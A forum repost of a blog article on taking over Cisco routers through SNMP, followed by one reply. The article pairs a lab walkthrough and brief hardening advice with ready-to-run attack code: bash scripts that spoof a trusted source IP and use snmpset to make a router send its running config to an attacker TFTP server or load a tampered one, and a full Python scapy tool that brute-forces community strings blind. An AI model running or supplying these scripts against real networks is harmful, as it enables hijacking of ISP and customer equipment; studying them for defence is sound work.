Nytro Posted April 22, 2015 Report Posted April 22, 2015 Hacking networks with SNMP Posted on April 21, 2015 by Torstein Summary Exploiting common misconfigurations in network systems allows an attacker to gather and use information to take over and control network devices. This can be done just as easily to core equipment as to Customer-Premises Equipment(CPE). A large scale attack will make it possible to hijack an entire Internet Service Provider(ISP) within a very short time.This demonstration will be done against a virtualized Cisco network, but the same techniques applies to other vendors like Juniper, HP, Linux and others. Virtualization To prevent doing any damage to real networks, I will use GNS3 with Cisco to emulate a basic WAN. As for the attacking computer, a virtual Kali Linux will be attached to the network. Attacker IP: 80.200.43.20 Cisco configuration example for SNMP and NTP:[TABLE=class: crayon-table][TR=class: crayon-row][TD=class: crayon-nums]123456789101112131415[/TD][TD=class: crayon-code]interface GigabitEthernet0/0 ip address 88.0.3.10 255.255.255.0!ip access-list standard management remark ### NTP ### permit 80.2.0.64 remark ### SNMP ### permit 80.2.0.33!snmp-server community _________ RW management!line vty 0 4 access-class management in!ntp server 80.2.0.64[/TD][/TR][/TABLE]Discovering devices The initial scan plays an important role in discovering remote vulnerable devices. SNMP is configured with a access-lists will still indicate a open port by connecting to it. The access-list will of-course deny any type of requests you make to the device unless the packet comes from a allowed IP. One of the easiest way to discover what type of network device you are up against, is by running a ntp query.By configuring “ntp server x.x.x.x”, are we not only synchronizing the device to that time-server, but it also turns the device into a NTP server itself. This allows us to find some unwanted information like equipment type and Refid which is equal to the NTP server’s server, along with a possible target for NTP reflection attacks. Apply some common sense, whois lookups and brute DNS tools – it won’t take long before you know where the management serverpool is. Cisco devices vulnerable to CVE-2014-3309 also seem to be open for NTP queries like this. [TABLE=class: crayon-table][TR=class: crayon-row][TD=class: crayon-nums]12[/TD][TD=class: crayon-code]ntp server 80.2.0.64ntp access-group peer management[/TD][/TR][/TABLE]This can be avoided by configuring a access-list associated with NTP configuration, firewalling the device or Control Plane Policing. Hacking SNMP Blindfloded Spoofing UDP packets source address will bypass the SNMP access-list “management”, and by blasting away thousands of passwords/sec may find the SNMP community string. The question is, how do we know when we found the correct community string? By sending IP spoofed Object Identifiers (OID’s) to the SNMP Management Information Base (MIB), we are able to tell the router to execute a command IF our community string is accepted. Decided to do some performance testing on live equipment and a Cisco 881-k9 where only able to handle 40000 attacks/min due to poor CPU performance. Split a dictionary between 100 CPE’s like the 881-k9 and you will be able to test ~4mill passwords/min.So, how is this really done?[TABLE=class: crayon-table][TR=class: crayon-row][TD=class: crayon-nums]1234567891011[/TD][TD=class: crayon-code]Spoof source IP: 80.2.0.64, Destination mr router: 88.0.3.10Hello mr router. The secret is "public", please ping 80.200.43.20 - wrong secret, request dropped -Hello mr router. The secret is "private", please ping 80.200.43.20 - correct secret, request accepted - - sending ICMP packet to 80.200.43.20 as you asked for - Network sniffer detecting a ICMP packet from mr router(88.0.3.10)Correct secret was found for mr router between line(RTT+0.1sec) and line(current time)[/TD][/TR][/TABLE] We got the community – so how to get access? More spoofing! Send another batch of spoofed OID’s to the router, we are now able to tell the router to upload its configuration to a TFTP server. (I had some issues with TFTP in Kali, so I booted a Ubuntu machine running xinetd with the IP 80.200.43.21.) After analyzing the router configuration, we can make a few modifications like adding a new user and removing the management access-lists for VTY.Now we can upload the new configuration back to the router with similar OID’s asking the router to download a file from the TFTP server and import it to the running-config. How to protect your equipment 1. BCP 38/RFC 2827 Source-address filter your network, a router will stop any packets not matching the reverse route for the senders source address. BCP38 should be enabled at the edge of your network facing both customers and other Internet Service Providers. This does not only protect you and other against this type of attacks, but also UDP reflection DDoS attacks. Warning: A network with asymmetrical routing may experience issues with BCP38 2. SNMPv3 SNMP version 3 offers both username and password support. Spoofing SNMPv3 is way more difficult than SNMPv 1-2c and due to password and packet encryption, discovery handshake and message integrity checks.3. Filtering Deny NTP and SNMP with Access Control Lists(ACL), Control Plane Policing (CoPP) or firewalls.4. Testing Do a network scan on equipment before you deploy a new model to check for unwanted services and ports.Edit: after speaking with Cisco PSIRT, I was recommended the following materials to fortify and protect network devices. There won’t be any security advisory/CVE since UDP spoofing-attack is a known issue – even considering it’s a new attack vector. Cisco Guide to Harden Cisco IOS Device Team CYMRU – Secure IOS templateConcept code Download config[TABLE=class: crayon-table][TR=class: crayon-row][TD=class: crayon-nums]123456789101112131415[/TD][TD=class: crayon-code]#!/bin/bashSTRING=privateIP=88.0.3.10SOURCEIP=80.2.0.64TFTP=80.200.43.21FILENAME=running-configiptables -t nat -A POSTROUTING -p udp --dport 161 -j SNAT --to-source $SOURCEIPsnmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 6snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a $TFTPsnmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s $FILENAMEsnmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1iptables -t nat -D POSTROUTING -p udp --dport 161 -j SNAT --to-source $SOURCEIP[/TD][/TR][/TABLE]Upload config[TABLE=class: crayon-table][TR=class: crayon-row][TD=class: crayon-nums]123456789101112131415[/TD][TD=class: crayon-code]#!/bin/bashSTRING=privateIP=88.0.3.10SOURCEIP=80.2.0.64TFTP=80.200.43.21FILENAME=change-configiptables -t nat -A POSTROUTING -p udp --dport 161 -j SNAT --to-source $SOURCEIPsnmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 6snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 1snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 4snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a $TFTPsnmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s $FILENAMEsnmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1iptables -t nat -D POSTROUTING -p udp --dport 161 -j SNAT --to-source $SOURCEIP[/TD][/TR][/TABLE]Blind Password cracking – POC[TABLE=class: crayon-table][TR=class: crayon-row][TD=class: crayon-nums]123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127[/TD][TD=class: crayon-code]#!/usr/bin/pythonimport socket, sys, timefrom scapy.all import *from multiprocessing import Process, Arrayiptoping = '\x50\xc8\x2b\x14' # 80.200.43.20 in hexipaddr = ['88.0.3.14','88.0.3.6','88.0.3.10'] # target routersspoofedserver = '80.2.0.64' # ntpq -c rv TARGET_CPE | grep refid # Need to be permitted by router's snmp ACLsnmpfile = 'best-snmppasswords.txt'defaultdelay = 0.0011rtt = 1 #ms delay to targets# check if loopback-interface with spoofed IP is up and runningstest = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)try: stest.bind((spoofedserver, 0))except: print "ifconfig lo:0 " + spoofedserver + " netmask 255.255.255.255 up" sys.exit()rtt = rtt/1000defaultdelay = int(defaultdelay*1000000)def snmpscan(ip, delayhigh, stop, dictline, c, minline, maxline): # add delays and such f = open(snmpfile, 'r') s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) delay = delayhigh[c]/1000000.0 s.bind((spoofedserver, 500+c)) counter = 1 for community in f: if stop[c] == True: return if (minline[c] <= counter and maxline[c] >= counter) or maxline[c] == 0: community = community.rstrip() snmp = [] # packet length need to be included in SNMP. length = str("%0.2x" % (len(community))).decode('hex') splen = str("%0.2x" % (len(community)+42)).decode('hex') xplen = str("%0.2x" % (len(community)+49)).decode('hex') yplen = str("%0.2x" % (len(community)+45)).decode('hex') snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community + '\xa3\x23\x02\x04\x1e\x4d\xa9\x90\x02\x01\x00\x02\x01\x00\x30' '\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01' '\x01\x10\x82\x4d\x02\x01\x06') snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community + '\xa3\x23\x02\x04\x1a\x91\xe1\x36\x02\x01\x00\x02\x01\x00\x30' '\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01' '\x01\x10\x82\x4d\x02\x01\x05') snmp.append('\x30' + xplen + '\x02\x01\x00\x04' + length + community + '\xa3\x2a\x02\x04\x6e\xaf\x5b\x8c\x02\x01\x00\x02\x01\x00\x30' '\x1c\x30\x1a\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01' '\x01\x0f\x82\x4d\x04\x08\x61\x6e\x79\x5f\x6e\x61\x6d\x65') snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community + '\xa3\x23\x02\x04\x66\x9c\x88\x99\x02\x01\x00\x02\x01\x00\x30' '\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01' '\x01\x02\x82\x4d\x02\x01\x01') snmp.append('\x30' + yplen + '\x02\x01\x00\x04' + length + community + '\xa3\x26\x02\x04\x13\x3a\x66\x29\x02\x01\x00\x02\x01\x00\x30' '\x18\x30\x16\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01' '\x01\x03\x82\x4d\x04\x04' + iptoping) snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community + '\xa3\x23\x02\x04\x21\x98\x9b\xcd\x02\x01\x00\x02\x01\x00\x30' '\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01' '\x01\x04\x82\x4d\x02\x01\x01') # last hex = number of icmp packets snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community + '\xa3\x23\x02\x04\x7c\xe9\x79\x42\x02\x01\x00\x02\x01\x00\x30' '\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01' '\x01\x10\x82\x4d\x02\x01\x01') for payload in snmp: s.sendto(payload, (ip, 161)) dictline[c] = counter time.sleep(delay) if stop[c] == True: return counter += 1 f.close() stop[c] = Truedef reply(packet): try: if packet[iCMP]: pos = ipaddr.index(packet[iP].src) except: return for x in processes: if x.name == ipaddr[pos]: minline[pos] = int((dictline[pos]-(0.05+rtt)/(delay[pos]/1000000.0))+1) if 0 < (0.05+rtt)/(delay[pos]/1000000.0) else 1 maxline[pos] = dictline[pos] if minline[pos] == maxline[pos]: f = open(snmpfile, 'r') g = 1 for lines in f: if g == maxline[pos]: print 'SNMP Community for', ipaddr[pos], 'is:', lines.rstrip() g += 1 else: print '%s snmp community found between line %d and %d in %s. Please wait while narrowing it down.'%(ipaddr[pos], int((dictline[pos]-(0.05+rtt)/(delay[pos]/1000000.0))+1) if 0 < (0.05+rtt)/(delay[pos]/1000000.0) else 1, dictline[pos], snmpfile) stop[pos] == True x.terminate() time.sleep(1) # wait for existing thread to stop dictline[pos] = 1 stop[pos] = False delay[pos] = delay[pos]*5 p = Process(target=snmpscan, name=ipaddr[pos], args=(ipaddr[pos], delay, stop, dictline, pos, minline, maxline)) processes[pos] = p p.start()if __name__ == "__main__": global processes processes = [] dictline = Array('i', [1]*len(ipaddr)) stop = Array('i', [False]*len(ipaddr)) minline = Array('i', [0]*len(ipaddr)) maxline = Array('i', [0]*len(ipaddr)) delay = Array('i', [defaultdelay]*len(ipaddr)) c = 0 for a in ipaddr: p = Process(target=snmpscan, name=a, args=(a, delay, stop, dictline, c, minline, maxline)) processes.append(p) p.start() c += 1 sniff(prn=reply, filter="icmp", store=0)[/TD][/TR][/TABLE]Sursa: https://0x41.no/hacking-networks-with-snmp/ Quote
blech Posted April 22, 2015 Report Posted April 22, 2015 foarte tare...chiar zilele trecute cautam altceva pe net si am gasit un ISP din Bucuresti care nu are prea multa grija de securitatea echipamentelor si foloseste SNMP v1 cu default comunity Public...ma gandeam la o metoda de a mapa automat reteaua prin interogari SNMP pe toate echipamentele vizibile apoi trimis un mail catre companie. Quote